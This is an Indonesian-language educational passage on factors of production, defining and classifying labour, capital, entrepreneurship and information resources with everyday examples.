Tenaga kerja merupakan faktor produksi insani yang secara langsung maupun tidak langsung menjalankan kegiatan produksi. Faktor produksi tenaga kerja juga dikategorikan sebagai faktor produksi asli. Dalam faktor produksi tenaga kerja, terkandung unsur fisik, pikiran, serta kemampuan yang dimiliki oleh tenaga kerja. Oleh karena itu, tenaga kerja dapat dikelompokan berdasarkan kualitas (kemampuan dan keahlian) dan berdasarkan sifat kerjanya.
Berdasarkan kualitasnya, tenaga kerja dapat dibagi menjadi tenaga kerja terdidik, tenaga kerja terampil, dan tenaga kerja tidak terdidik dan tidak terlatih. Tenaga kerja terdidik adalah tenaga kerja yang memerlukan pendidikan tertentu sehingga memiliki keahlian di bidangnya, misalnya dokter, insinyur, akuntan, dan ahli hukum. Tenaga kerja terampil adalah tenaga kerja yang memerlukan kursus atau latihan bidang-bidang keterampilan tertentu sehingga terampil di bidangnya. Misalnya tukang listrik, montir, tukang las, dan sopir. Sementara itu, tenaga kerja tidak terdidik dan tidak terlatih adalah tenaga kerja yang tidak membutuhkan pendidikan dan latihan dalam menjalankan pekerjaannya. Misalnya tukang sapu, pemulung, dan lain-lain.
Berdasarkan sifat kerjanya, tenaga kerja dibagi menjadi tenaga kerja rohani dan tenaga kerja jasmani. Tenaga kerja rohani adalah tenaga kerja yang menggunakan pikiran, rasa, dan karsa. Misalnya guru, editor, konsultan, dan pengacara. Sementara itu, tenaga kerja jasmani adalah tenaga kerja yang menggunakan kekuatan fisik dalam kegiatan produksi. Misalnya tukang las, pengayuh becak, dan sopir.

Modal

Yang dimaksud dengan modal adalah barang-barang atau peralatan yang dapat digunakan untuk melakukan proses produksi. Modal dapat digolongkan berdasarkan sumbernya, bentuknya, berdasarkan pemilikan, serta berdasarkan sifatnya. Berdasarkan sumbernya, modal dapat dibagi menjadi dua: modal sendiri dan modal asing. Modal sendiri adalah modal yang berasal dari dalam perusahaan sendiri. Misalnya setoran dari pemilik perusahaan. Sementara itu, modal asing adalah modal yang bersumber dari luar perusahaan. Misalnya modal yang berupa pinjaman bank.
Berdasarkan bentuknya, modal dibagi menjadi modal konkret dan modal abstrak. Modal konkret adalah modal yang dapat dilihat secara nyata dalam proses produksi. Misalnya mesin, gedung, mobil, dan peralatan. Sedangkan yang dimaksud dengan modal abstrak adalah modal yang tidak memiliki bentuk nyata, tetapi mempunyai nilai bagi perusahaan. Misalnya hak paten, nama baik, dan hak merek.
Berdasarkan pemilikannya, modal dibagi menjadi modal individu dan modal masyarakat. Modal individu adalah modal yang sumbernya dari perorangan dan hasilnya menjadi sumber pendapatan bagi pemiliknya. Contohnya adalah rumah pribadi yang disewakan atau bunga tabungan di bank. Sedangkan yang dimaksud dengan modal masyarakat adalah modal yang dimiliki oleh pemerintah dan digunakan untuk kepentingan umum dalam proses produksi. Contohnya adalah rumah sakit umum milik pemerintah, jalan, jembatan, atau pelabuhan.
Terakhir, modal dibagi berdasarkan sifatnya: modal tetap dan modal lancar. Modal tetap adalah jenis modal yang dapat digunakan secara berulang-ulang. Misalnya mesin-mesin dan bangunan pabrik. Sementara itu, yang dimaksud dengan modal lancar adalah modal yang habus digunakan dalam satu kali proses produksi. Misalnya, bahan-bahan baku.

Kewirausahaan

Faktor kewirausahaan adalah keahlian atau keterampilan yang digunakan seseorang dalam mengkoordinir faktor-faktor produksi untuk menghasilkan barang dan jasa. Sebanyak dan sebagus apa pun faktor produksi alam, tenaga manusia, serta modal yang dipergunakan dalam proses produksi, jika dikelola dengan tidak baik, hasilnya tidak akan maksimal.

Sumber daya informasi

Sumber daya informasi adalah seluruh data yang dibutuhkan perusahaan untuk menjalankan bisnisnya. Data ini bisa berupa ramalan kondisi pasar, pengetahuan yang dimiliki oleh karyawan, dan data-data ekonomi lainnya.